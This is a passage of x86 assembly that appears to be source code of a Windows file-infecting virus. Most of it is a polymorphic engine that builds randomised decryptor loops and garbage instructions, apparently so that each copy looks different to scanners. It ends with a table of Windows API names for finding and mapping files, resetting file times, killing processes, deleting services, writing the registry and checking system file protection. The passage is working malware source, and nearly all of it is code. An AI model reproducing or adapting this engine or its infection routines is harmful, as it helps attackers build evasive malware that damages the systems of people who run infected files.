inc dword ptr [ebp + BaseOFS] ; because LEA takes one byte more mov byte ptr [ebp + _REG_OPCODE], cl;-***- mov byte ptr [ebp + _MOD], 0 mov byte ptr [ebp + _RM], 5 mov dword ptr [ebp + Displacement], ebx CALL GEN_LEA_REG32_DISP32 Call Make_Random_Blk;** mov cl,byte ptr [ebp + base_reg] Call RestConst Call Make_Random_Blk;** ret CMP_Range dd 0 ;========= ========= ========= ========= [SIZE] ========= ========= ========= ========= @@PC_SEQSIZE: Call CallWaitLoop? mov ebx, dword ptr [ebp + SizeOfWhat2encrypt] shr ebx,2 inc ebx inc ebx and dword ptr [ebp + CMP_Range],0 ;.IF byte ptr [ebp + CryptBackward] == 0 ; xor eax,eax ; push 30 ; pop ecx ; Call Get_rand_range ; mov dword ptr [ebp + CMP_Range],eax ; ; add ebx,eax ; make size different ; ;.ENDIF Call HideConst xor eax,eax push 3 pop ecx Call Get_rand_range mov cl,byte ptr [ebp + counter_reg] or eax,eax jz @PC_SIZE_MOV dec eax jz @PC_SIZE_LEA @PC_SIZE_PUSHPOP: CALL GEN_PUSH_IMM32 Call Make_Random_Blk;** CALL GEN_POP_REG32 Call Make_Random_Blk;** mov cl,byte ptr [ebp + counter_reg] Call RestConst Call Make_Random_Blk;** ret @PC_SIZE_MOV: ;**** CALL GEN_MOV_REG32_IMM Call Make_Random_Blk;** mov cl,byte ptr [ebp + counter_reg] Call RestConst Call Make_Random_Blk;** ret @PC_SIZE_LEA: mov byte ptr [ebp + _REG_OPCODE], cl;-***- mov byte ptr [ebp + _MOD], 0 mov byte ptr [ebp + _RM], 5 mov dword ptr [ebp + Displacement], ebx CALL GEN_LEA_REG32_DISP32 Call Make_Random_Blk;** mov cl,byte ptr [ebp + counter_reg] Call RestConst Call Make_Random_Blk;** ret ;========= ========= ========= ========= [KEY] ========= ========= ========= ========= @@PC_SEQKEY: xor eax,eax push 3 pop ecx Call Get_rand_range or eax,eax jz @PC_KEY_MOV or eax,eax jz @PC_KEY_LEA @PC_KEY_PUSHPOP: CAll Random32 mov ebx,eax CALL GEN_PUSH_IMM32 Call Make_Random_Blk;** mov cl,byte ptr [ebp + key_reg] CALL GEN_POP_REG32 Call Make_Random_Blk;** jmp @PC_KEY_NEXT @PC_KEY_MOV: ;** Call Random32 mov ebx,eax mov cl,byte ptr [ebp + key_reg] CALL GEN_MOV_REG32_IMM Call Make_Random_Blk;** jmp @PC_KEY_NEXT @PC_KEY_LEA: Call Random32 mov ebx,eax mov cl,byte ptr [ebp + key_reg] mov byte ptr [ebp + _REG_OPCODE], cl;-***- mov byte ptr [ebp + _MOD], 0 mov byte ptr [ebp + _RM], 5 mov dword ptr [ebp + Displacement], ebx CALL GEN_LEA_REG32_DISP32 Call Make_Random_Blk;** @PC_KEY_NEXT: Call CallWaitLoop?;** ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; OPCODE GENERATION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _16BITS_OPC_TBL dd OFFSET GEN_ADD_REG16_IMM dd OFFSET GEN_XOR_REG16_IMM dd OFFSET GEN_SUB_REG16_IMM dd OFFSET GEN_ADD_REG16_REG16 ; 1 dd OFFSET GEN_XOR_REG16_REG16 dd OFFSET GEN_SUB_REG16_REG16 _16BITS_OPC_NBR = 5 GEN_16BITS_OPC proc uses edx ecx push ecx xor eax,eax push _16BITS_OPC_NBR pop ecx Call Get_rand_range pop ecx lea edx, dword ptr [ebp + _16BITS_OPC_TBL] mov edx, dword ptr [edx + (eax * 4)] add edx, ebp Call edx ret GEN_16BITS_OPC endp GEN_ADD_REG32_IMM: CAll IS_NBR_8B jc @F mov ax,0C083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,05h ; EAX SPECIFIC OPCODE stosb jmp End_ADD_REG32_IMM @@: mov ax,0C081h add ah,cl stosw End_ADD_REG32_IMM: mov eax,ebx stosd ret GEN_ADD_REG16_IMM: mov al,66h ; Prefix stosb CAll IS_NBR_8B jc @F mov ax,0C083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,05h ; EAX SPECIFIC OPCODE stosb jmp End_ADD_REG16_IMM @@: mov ax,0C081h add ah,cl stosw End_ADD_REG16_IMM: mov ax,bx stosw ret GEN_ADD_REG8_IMM: Call GetValid8BREGS;-* jnc @F ret @@: or cl,cl jz @F mov ax,0C080h add ah,cl stosw mov al,bl stosb ret @@: mov al,04h stosb mov al,bl stosb ret GEN_ADD_REG32_REG32: mov al,03h ; ADD REG32,REG32 mov ah,cl ; REGISTER1 shl ah,3 ; ah * 8 or ah,ch ; REGISTER2 or ah,0C0h stosw ret GEN_ADD_REG16_REG16: mov al,66h ; Prefix stosb mov ax,0C003h shl cl,3 or ah,cl or ah,ch stosw ret GEN_ADD_REG8_REG8: Call GetValid8BREGS;-* jnc @F ret @@: mov ax,0C002h shl cl,3 or ah,cl or ah,ch stosw ret GEN_MOV_REG32_IMM: mov al,0B8h ; MOV REG32,IMM or al,cl ; REGISTER stosb mov eax,ebx ; IMMEDIATE stosd ret ;GEN_MOV_REG32_MEM: ; mov REG32, MEM ;GEN_MOV_REG32_MEM_REG32_plus_REG32: ; MOV REG32,DWORD PTR [REG32+REG32] GEN_MOV_REG32_MEM_REG32: cmp ch,5 jz @F mov al,08Bh ; MOV REG32,dwo [REG32] mov ah,cl ; REGISTER1 shl ah,3 ; ah * 8 or ah,ch ; REGISTER2 stosw ret @@: mov ax,458Bh shl cl,3 or ah,cl stosw xor al,al stosb ret GEN_MOV_MEM_REG32_REG32: cmp ch,5 jz @F mov al,089h ; MOV dwo [REG32], REG32 mov ah,cl ; REGISTER1 shl ah,3 ; ah * 8 or ah,ch ; REGISTER2 stosw ret @@: mov ax,4589h shl cl,3 or ah,cl stosw xor al,al stosb ret GEN_MOV_REG32_REG32 proc cmp cl, ch ; Anti-Absurd Code prevents "mov samereg, samereg" jnz Skip @@: call Random32 and al, 7 cmp al, cl jz @B mov ch, al Skip: mov al,08Bh ; MOV REG32,REG32 mov ah,cl ; REGISTER1 shl ah,3 ; ah * 8 or ah,ch ; REGISTER2 or ah,0C0h stosw ret GEN_MOV_REG32_REG32 endp GEN_XOR_REG32_REG32: mov al,033h ; MOV REG32,REG32 mov ah,cl ; REGISTER1 shl ah,3 ; ah * 8 or ah,ch ; REGISTER2 or ah,0C0h stosw ret GEN_XOR_REG16_REG16: mov al,66h stosb Call GEN_XOR_REG32_REG32 ret GEN_XOR_REG8_REG8: Call GetValid8BREGS;-* jnc @F ret @@: mov ax,0C032h shl cl,3 or ah,cl or ah,ch stosw ret GEN_XOR_REG32_IMM: CAll IS_NBR_8B jc @F mov ax,0F083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,35h ; EAX SPECIFIC OPCODE stosb jmp End_XOR_REG32_IMM @@: mov ax,0F081h add ah,cl stosw End_XOR_REG32_IMM: mov eax,ebx stosd ret GEN_XOR_REG16_IMM: mov al,66h stosb CAll IS_NBR_8B jc @F mov ax,0F083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,35h ; EAX SPECIFIC OPCODE stosb jmp End_XOR_REG16_IMM @@: mov ax,0F081h or ah,cl stosw End_XOR_REG16_IMM: mov ax,bx stosw ret GEN_XOR_REG8_IMM: Call GetValid8BREGS;-* jnc @F ret @@: or cl,cl jz @F mov ax,0F080h add ah,cl stosw mov al,bl stosb ret @@: mov al,34h stosb mov al,bl stosb ret GEN_MOV_REG32_MEM_INDEX: mov ax,428Bh ; MOV REG32,dwo [REG+INDEX] or ah,cl ; REGISTER stosw CAll IS_NBR_8B jc @F mov al,bl stosb ret @@: mov eax,ebx ; MEM stosd ret GEN_PUSH_IMM32: CALL IS_NBR_8B Jc @F Call GEN_PUSH_IMM8 ret @@: mov al,68h ; PUSH IMM32 stosb mov eax,ebx stosd ret GEN_PUSH_MEM32: mov ax,35FFh ; PUSH MEM32 stosw mov eax,ebx stosd ret GEN_PUSH_REG32: mov al,50h ; PUSH REG32 add al,cl stosb ret GEN_PUSH_REGMEM32: cmp cl,5 jz @F mov ax,30FFh ; PUSH dwo [REG32] or ah,cl stosw ret @@: mov ax,75FFh stosw xor al,al stosb ret GEN_PUSH_REGMEM32_INDEX8: mov ax,70FFh ; PUSH dwo [REG32+INDEX] or ah,cl stosw mov al,bl stosb ret GEN_PUSH_IMM8: mov al,6Ah ; PUSH IMM8 stosb mov al,bl stosb ret GEN_POP_REG32: mov al,58h add al,cl stosb ret GEN_POP_REGMEM32: cmp cl,5 jz @F mov ax,008Fh add ah,cl stosw ret @@: mov ax,458Fh stosw xor al,al stosb ret GEN_LEA_REG32_DISP32: mov al, 8Dh stosb Call EncodeModRM_SIB ret ;GEN_LEA_REG32_DISP32: ; mov ax,058Dh ; shl cl,3 ; cl * 4 ; or ah,cl ; stosw ; mov eax,ebx ; stosd ; ret GEN_DEC_REG32: ; Dec mov al,48h add al,cl stosb ret GEN_INC_REG32: ; Inc mov al,40h add al,cl stosb ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GEN_SUB_REG32_REG32: ; SUB REG32,REG32 mov ax,0C02Bh shl cl,3 or ah,cl or ah,ch shr cl,3 stosw ret GEN_SUB_REG16_REG16: mov al,66h stosb mov ax,0C02Bh shl cl,3 or ah,cl or ah,ch stosw ret GEN_SUB_REG8_REG8: Call GetValid8BREGS;-* jnc @F ret @@: mov ax,0C02Ah shl cl,3 or ah,cl or ah,ch stosw ret GEN_SUB_REG32_IMM: ; SUB REG32,IMM CAll IS_NBR_8B jc @F mov ax,0E883h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,2Dh ; EAX SPECIFIC OPCODE stosb jmp End_SUB_REG32_IMM @@: mov ax,0E881h add ah,cl stosw End_SUB_REG32_IMM: mov eax,ebx stosd ret GEN_SUB_REG16_IMM: mov al,66h stosb CAll IS_NBR_8B jc @F mov ax,0E883h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,2Dh ; EAX SPECIFIC OPCODE stosb jmp End_SUB_REG16_IMM @@: mov ax,0E881h add ah,cl stosw End_SUB_REG16_IMM: mov ax,bx stosw ret GEN_SUB_REG8_IMM: Call GetValid8BREGS;-* jnc @F ret @@: or cl,cl jz @F mov ax,0E880h add ah,cl stosw mov al,bl stosb ret @@: mov al,2ch stosb mov al,bl stosb ret GEN_DEC_REG8: Call GetValid8BREGS;-* jnc @F ret @@: mov ax,0C8FEh or ah,cl stosw ret GEN_INC_REG8: Call GetValid8BREGS;-* jnc @F ret @@: mov ax,0C0FEh or ah,cl stosw ret GEN_ROL_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0C0D1h ; MOV REG32,REG32 or ah,cl ; REGISTER1 stosw ret .ENDIF mov ax,0C0C1h or ah,cl stosw mov al,bl stosb ret GEN_ROR_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0C8D1h ; MOV REG32,REG32 or ah,cl ; REGISTER1 stosw ret .ENDIF mov ax,0C8C1h or ah,cl stosw mov al,bl stosb ret GEN_JNZ_OFS: CALL IS_NBR_8B jnc @JNZ_SHORT sub ebx,6 mov ax,850fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JNZ_SHORT: dec ebx dec ebx mov al,75h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JZ_OFS: CALL IS_NBR_8B jnc @JZ_SHORT sub ebx,6 mov ax,840fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JZ_SHORT: dec ebx dec ebx mov al,74h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JNS_OFS: CALL IS_NBR_8B jnc @JNS_SHORT sub ebx,6 mov ax,890fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JNS_SHORT: dec ebx dec ebx mov al,79h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JS_OFS: CALL IS_NBR_8B jnc @JS_SHORT sub ebx,6 mov ax,880fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JS_SHORT: dec ebx dec ebx mov al,78h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JG_OFS: CALL IS_NBR_8B jnc @JG_SHORT sub ebx,6 mov ax,8F0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JG_SHORT: dec ebx dec ebx mov al,7Fh stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JL_OFS: CALL IS_NBR_8B jnc @JL_SHORT sub ebx,6 mov ax,8C0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JL_SHORT: dec ebx dec ebx mov al,7Ch stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JGE_OFS: CALL IS_NBR_8B jnc @JGE_SHORT sub ebx,6 mov ax,8D0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JGE_SHORT: dec ebx dec ebx mov al,7Dh stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JLE_OFS: CALL IS_NBR_8B jnc @JLE_SHORT sub ebx,6 mov ax,8E0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JLE_SHORT: dec ebx dec ebx mov al,7Eh stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JBE_OFS: CALL IS_NBR_8B jnc @JBE_SHORT sub ebx,6 mov ax,860fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JBE_SHORT: dec ebx dec ebx mov al,76h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JA_OFS: CALL IS_NBR_8B jnc @JA_SHORT sub ebx,6 mov ax,870fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JA_SHORT: dec ebx dec ebx mov al,77h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JNB_OFS: CALL IS_NBR_8B jnc @JNB_SHORT sub ebx,6 mov ax,830fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JNB_SHORT: dec ebx dec ebx mov al,73h stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JP_OFS: CALL IS_NBR_8B jnc @JP_SHORT sub ebx,6 mov ax,8A0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JP_SHORT: dec ebx dec ebx mov al,7Ah stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JNP_OFS: CALL IS_NBR_8B jnc @JNP_SHORT sub ebx,6 mov ax,8B0fh stosw mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JNP_SHORT: dec ebx dec ebx mov al,7Bh stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_JMP_OFS: CALL IS_NBR_8B jnc @JMP_SHORT sub ebx,5 mov al,0E9h stosb mov byte ptr [ebp + JmpShort?], 0 mov eax,ebx stosd ret @JMP_SHORT: dec ebx dec ebx mov al,0EBh stosb mov byte ptr [ebp + JmpShort?], 1 mov al,bl stosb ret GEN_CALL_OFS: mov al,0E8h stosb sub ebx,5 mov eax,ebx stosd ret GEN_RET: mov al,0C3h stosb ret GEN_RETN_IMM16: mov al,0C2h stosb mov ax,bx stosw ret GEN_CMP_REG32_IMM: CALL IS_NBR_8B jc @CMP_REG32_IMM32 mov ax,0F883h or ah,cl stosw mov al,bl stosb ret @CMP_REG32_IMM32: or cl,cl jnz @F mov al,3Dh ; EAX SPECIFIC OPCODE stosb jmp End_CMP_REG32_IMM @@: mov ax,0F881h or ah,cl stosw End_CMP_REG32_IMM: mov eax,ebx stosd ret GEN_CMP_REG32_REG32: mov ax, 0C03Bh or ah, cl shl ch, 3 or ah, ch shr ch, 3 stosw ret GEN_TEST_REG32_REG32: ; SUB REG32,REG32 mov ax,0C085h shl ch,3 or ah,cl or ah,ch shr cl,3 stosw ret GEN_TEST_REG32_IMM32 proc or cl, cl jnz @F mov al, 0A9h stosb jmp skip @@: mov ax, 0C0F7h or ah, cl stosw skip: mov eax, ebx stosd ret GEN_TEST_REG32_IMM32 endp IS_NBR_8B: .IF ebx >= 80h && ebx < -80h stc ; Number is 32 bits ret .ENDIF clc ; Number is 8 bits ret GEN_SHR_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0E8D1h ; SHR REG32,IMM8 or ah,cl stosw ret .ENDIF mov ax,0E8C1h or ah,cl stosw mov al,bl stosb ret GEN_SHL_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0E0D1h ; SHl REG32,IMM8 or ah,cl stosw ret .ENDIF mov ax,0E0C1h or ah,cl stosw mov al,bl stosb ret GEN_SAR_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0F8D1h ; SHl REG32,IMM8 or ah,cl stosw ret .ENDIF mov ax,0F8C1h or ah,cl stosw mov al,bl stosb ret GEN_SHLD_REG32_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: mov al,0Fh stosb mov ax,0C0A4h shl ch,3 or ah,cl or ah,ch stosw mov al,bl stosb ret GEN_SHRD_REG32_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: mov al,0Fh stosb mov ax,0C0ACh shl ch,3 or ah,cl or ah,ch stosw mov al,bl stosb ret GEN_SHLD_REG32_REG32_CL: mov al,0Fh stosb mov ax,0C0A5h shl ch,3 or ah,cl or ah,ch stosw ret GEN_SHRD_REG32_REG32_CL: mov al,0Fh stosb mov ax,0C0ADh shl ch,3 or ah,cl or ah,ch stosw ret GEN_SAR_REG32_CL: mov ax,0F8D3h or ah,cl stosw ret GEN_SHL_REG32_CL: mov ax,0E0D3h or ah,cl stosw ret GEN_SHR_REG32_CL: mov ax,0E8D3h or ah,cl stosw ret GEN_RCL_REG32_CL: mov ax,0D0D3h or ah,cl stosw ret GEN_RCR_REG32_CL: mov ax,0D8D3h or ah,cl stosw ret GEN_ROL_REG32_CL: mov ax,0C0D3h or ah,cl stosw ret GEN_ROR_REG32_CL: mov ax,0C8D3h or ah,cl stosw ret GEN_IMUL_REG32: mov ax,0E8F7h or ah,cl stosw ret GEN_MUL_REG32: mov ax,0E0F7h or ah,cl stosw ret GEN_IMUL_REG32_REG32_IMM: CAll IS_NBR_8B jc @F mov ax,0C06Bh shl cl,3 or ah,cl or ah,ch stosw mov al,bl stosb ret @@: mov ax,0C069h shl cl,3 or ah,cl or ah,ch stosw mov eax,ebx stosd ret GEN_IMUL_REG32_REG32: mov al,0Fh stosb mov ax,0C0AFh shl cl,3 or ah,cl or ah,ch stosw ret GEN_DIV_REG32: CMP cl,2 jz @F CMP byte ptr [ebp + garb_reg1],2 jz @F CMP byte ptr [ebp + garb_reg2],2 jz @F CMP byte ptr [ebp + garb_reg3],2 jz @F ret @@: mov ax,0D233h stosw mov ax,0F0F7h or ah,cl stosw ret GEN_IDIV_REG32: CMP cl,2 jz @F CMP byte ptr [ebp + garb_reg1],2 jz @F CMP byte ptr [ebp + garb_reg2],2 jz @F CMP byte ptr [ebp + garb_reg3],2 jz @F ret @@: mov ax,0D233h stosw mov ax,0F8F7h or ah,cl stosw ret GEN_XADD_REG32_REG32: mov al,0Fh stosb mov ax,0C0C1h shl ch,3 or ah,cl or ah,ch stosw ret GEN_ADC_REG32_REG32: mov ax,0C011h shl ch,3 or ah,cl or ah,ch stosw ret GEN_ADC_REG32_IMM32: CAll IS_NBR_8B jc @F mov ax,0D083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,15h ; EAX SPECIFIC OPCODE stosb jmp End_ADC_REG32_IMM32 @@: mov ax,0D081h add ah,cl stosw End_ADC_REG32_IMM32: mov eax,ebx stosd ret GEN_SBB_REG32_REG32: mov ax,0C01Bh shl cl,3 or ah,cl or ah,ch stosw ret GEN_SBB_REG32_IMM32: CAll IS_NBR_8B jc @F mov ax,0D883h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,1Dh ; EAX SPECIFIC OPCODE stosb jmp End_SBB_REG32_IMM32 @@: mov ax,0D881h add ah,cl stosw End_SBB_REG32_IMM32: mov eax,ebx stosd ret GEN_OR_REG32_REG32: mov ax,0C009h shl ch,3 or ah,cl or ah,ch stosw ret GEN_OR_REG32_IMM32: CAll IS_NBR_8B jc @F mov ax,0C883h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,0Dh ; EAX SPECIFIC OPCODE stosb jmp End_GEN_OR_REG32_IMM32 @@: mov ax,0C881h add ah,cl stosw End_GEN_OR_REG32_IMM32: mov eax,ebx stosd ret GEN_AND_REG32_REG32: mov ax,0C021h shl ch,3 or ah,cl or ah,ch stosw ret GEN_AND_REG32_IMM32: CAll IS_NBR_8B jc @F mov ax,0E083h add ah,cl stosw mov al,bl stosb ret @@: or cl,cl jnz @F mov al,25h ; EAX SPECIFIC OPCODE stosb jmp End_AND_REG32_IMM32 @@: mov ax,0E081h add ah,cl stosw End_AND_REG32_IMM32: mov eax,ebx stosd ret GEN_MOVSX_REG32_REG8: mov al,0Fh stosb mov ax,0C0BEh shl cl,3 or ah,cl push eax CALL Random32 and eax,7 mov ch,al pop eax or ah,ch stosw ret GEN_MOVZX_REG32_REG8: mov al,0Fh stosb mov ax,0C0B6h shl cl,3 or ah,cl push eax CALL Random32 and eax,7 mov ch,al pop eax or ah,ch stosw ret GEN_BSWAP_REG32: mov ax,0C80Fh or ah,cl stosw ret GEN_NEG_REG32: mov ax,0D8F7h or ah,cl stosw ret GEN_NOT_REG32: mov ax,0D0F7h or ah,cl stosw ret GEN_ONEBYTE: xor eax,eax push 5 pop ecx Call Get_rand_range or eax,eax jz GEN_CLD dec eax jz GEN_NOP dec eax jz GEN_CMC dec eax jz GEN_STC dec eax jz GEN_CLC mov al,0FDh stosb ret GEN_CLD: mov al,0FCh stosb ret GEN_NOP: mov al,90h stosb ret GEN_CMC: mov al,0F5h stosb ret GEN_STC: mov al,0F9h stosb ret GEN_CLC: mov al,0F8h stosb ret GEN_XCHG_REG32_REG32: or cl,cl jnz @F cmp cl,ch jnz @F ret ;This makes a nop @@: or ch,ch jnz XCHG_2 mov al,90h or al,cl or al,ch stosb ret XCHG_2: mov ax,0C087h shl cl,3 or ah,cl or ah,ch stosw ret GEN_RCL_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0D0D1h or ah,cl stosw ret .ENDIF mov ax,0D0C1h or ah,cl stosw mov al,bl stosb ret GEN_RCR_REG32_IMM8: and ebx,0Fh or ebx,ebx jnz @F inc ebx @@: .IF bl == 1 mov ax,0D8D1h or ah,cl stosw ret .ENDIF mov ax,0D8C1h or ah,cl stosw mov al,bl stosb ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetRegs proc ; Determines regs affectation in poly cryptor loop push edx push ebx push esi push 3 pop esi GetRegsLp: @@: xor eax,eax push 7 pop ecx Call Get_rand_range mov edx,eax @@: xor eax,eax push 7 pop ecx Call Get_rand_range cmp eax,edx jz @B mov ebx,eax mov al, byte ptr [ebp + edx + base_reg] xchg al, byte ptr [ebp + ebx + base_reg] mov byte ptr [ebp + edx + base_reg],al dec esi jns GetRegsLp pop esi pop ebx pop edx ret GetRegs endp ;GetValid8BREGS proc ; lea eax, dword ptr [ebp + base_reg] ; ; ret ;GetValid8BREGS endp ArrangeTo8Bits? proc push ecx Call Random32 and eax,0Fh jnz @F push -80h pop eax push 80h pop ecx Call Get_rand_range mov ebx,eax @@: pop ecx ret ArrangeTo8Bits? endp OneByte db 0FCh db 0FDh db 0F5h db 0F8h db 0F9h OneSize = $ - OFFSET OneByte Rand_OneByte proc Call Random32 and eax, 07FFh jnz @F push ecx lea eax, dword ptr [ebp + OneByte] mov ecx, eax add ecx, OneSize Call Get_rand_range mov al, byte ptr [eax] stosb pop ecx @@: ret Rand_OneByte endp Prefix_Tbl db 0F2H db 0F3h db 0F2H db 0F3h db 0F2H db 0F3h db 0F2H db 0F3h db 0F2H db 0F3h db 0F2H db 0F3h db 2EH db 3EH db 26H db 64H db 65H db 2EH db 3EH Prefix_TBL_size = $ - OFFSET Prefix_Tbl Rand_Prefix proc uses ecx xor eax, eax push 35 pop ecx Call Get_rand_range dec eax jnz SkipPrefix push ecx lea eax, dword ptr [ebp + Prefix_Tbl] mov ecx, eax add ecx, Prefix_TBL_size Call Get_rand_range mov al, byte ptr [eax] stosb pop ecx SkipPrefix: ret Rand_Prefix endp Get_rand_range proc ; eax: min, ecx : max push edx push ebx mov ebx,eax sub ecx,eax mov eax,ecx Call Random32 xor edx,edx jecxz @F div ecx @@: add edx,ebx mov eax,edx pop ebx pop edx ret Get_rand_range endp Random_init proc lea eax, dword ptr [ebp + szGetTickCount] Call K32Api sub dword ptr [ebp + SEED1], eax lea eax, dword ptr [ebp + CreationTime] push eax lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime] Call K32Api mov eax, dword ptr [ebp + CreationTime] add dword ptr [ebp + SEED2], eax ret Random_init endp Random32 Proc uses ecx ebx edx mov ebx, dword ptr [ebp + SEED1] rdtsc mov ecx, eax and ecx, 0F0Fh mov eax, dword ptr [ebp + SEED2] bswap ebx ror ebx, 3 xor ebx, 0B56AF12h rcl ebx, cl adc ebx, 15448Ch ror ebx, 3 xor ebx, dword ptr [ebp + SEED1] add eax, 124154144 xor dword ptr [ebp + SEED1], eax mov cl, ch rcl eax, cl adc dword ptr [ebp + SEED1], ebx xor dword ptr [ebp + SEED2], ebx xor eax, ebx ret SEED1 dd 0 SEED2 dd 0 Random32 endp _KERNEL32 dd 77E40000h ; kernel XP szGetProcAddress db "GetProcAddress",0 GPASIZE equ OFFSET $ - OFFSET szGetProcAddress _GetProcAddress dd 0bff76dach ; default GPA (hardcoded win98) ;shitty db "FUCK.VXD",0 ;UPXSign db "UPX",0 ;UPXSignLen equ $ - OFFSET UPXSign ZipSign db "_winzip_" ZipSignLen equ $ - OFFSET ZipSign Kernel db "kernel32.dll",0 K32APIZ: szLoadLibraryA db "LoadLibraryA",0 szFreeLibrary db "FreeLibrary",0 szUnmapViewOfFile db "UnmapViewOfFile",0 szCreateFileMappingA db "CreateFileMappingA",0 szCreateFileA db "CreateFileA",0 szMapViewOfFile db "MapViewOfFile",0 szGetFileSize db "GetFileSize",0 szCloseHandle db "CloseHandle",0 szSetFilePointer db "SetFilePointer",0 szSetEndOfFile db "SetEndOfFile",0 szFindFirstFileA db "FindFirstFileA",0 szFindNextFileA db "FindNextFileA",0 szFindClose db "FindClose",0 szVirtualAlloc db "VirtualAlloc",0 szVirtualFree db "VirtualFree",0 szGetTickCount db "GetTickCount",0 szGetSystemTimeAsFileTime db "GetSystemTimeAsFileTime",0 szGetFileAttributesA db "GetFileAttributesA",0 szSetFileAttributesA db "SetFileAttributesA",0 szGetFileTime db "GetFileTime",0 szSetFileTime db "SetFileTime",0 szGetWindowsDirectoryA db "GetWindowsDirectoryA",0 szGetSystemDirectoryA db "GetSystemDirectoryA",0 szCopyFileA db "CopyFileA",0 szGetVersionExA db "GetVersionExA",0 szGetComputerNameA db "GetComputerNameA",0 szIsDebuggerPresent db "IsDebuggerPresent",0 szGetCommandLineA db "GetCommandLineA",0 szCreateProcessA db "CreateProcessA",0 szGetStartupInfoA db "GetStartupInfoA",0 szGetModuleFileNameA db "GetModuleFileNameA",0 szlstrcmpiA db "lstrcmpiA",0 szMultiByteToWideChar db "MultiByteToWideChar",0 szOpenProcess db "OpenProcess",0 szCreateToolhelp32Snapshot db "CreateToolhelp32Snapshot",0 szProcess32First db "Process32First",0 szProcess32Next db "Process32Next",0 szTerminateProcess db "TerminateProcess",0 szGetTempPathA db "GetTempPathA",0 szGetTempFileNameA db "GetTempFileNameA",0 szWriteFile db "WriteFile",0 szSetErrorMode db "SetErrorMode",0 szCreateThread db "CreateThread",0 ;szGetCurrentThreadId db "GetCurrentThreadId",0 ;szSuspendThread db "SuspendThread",0 ;szResumeThread db "ResumeThread",0 ;szGetThreadContext db "GetThreadContext",0 ;szSetThreadContext db "SetThreadContext",0 szExitThread db "ExitThread",0 szWaitForSingleObject db "WaitForSingleObject",0 szCreateEventA db "CreateEventA",0 szSetEvent db "SetEvent",0 szDeleteFileA db "DeleteFileA",0 USER32 db "USER32",0 szFindWindowA db "FindWindowA",0 szSendMessageA db "SendMessageA",0 Advapi32 db "advapi32",0 szRegCloseKey db "RegCloseKey",0 szRegCreateKeyExA db "RegCreateKeyExA",0 szRegSetValueExA db "RegSetValueExA",0 szOpenSCManagerA db "OpenSCManagerA",0 szCloseServiceHandle db "CloseServiceHandle",0 szOpenServiceA db "OpenServiceA",0 szControlService db "ControlService",0 szDeleteService db "DeleteService",0 szGetUserNameA db "GetUserNameA",0 Psapi db "psapi",0 szEnumProcesses db "EnumProcesses",0 szGetModuleFileNameExA db "GetModuleFileNameExA",0 SFC db "SFC",0 szSfcIsFileProtected db "SfcIsFileProtected",0 IMAGEHLP db "IMAGEHLP",0 szCheckSumMappedFile db "CheckSumMappedFile",0 Shell32 db "Shell32",0 szSHGetFileInfo db 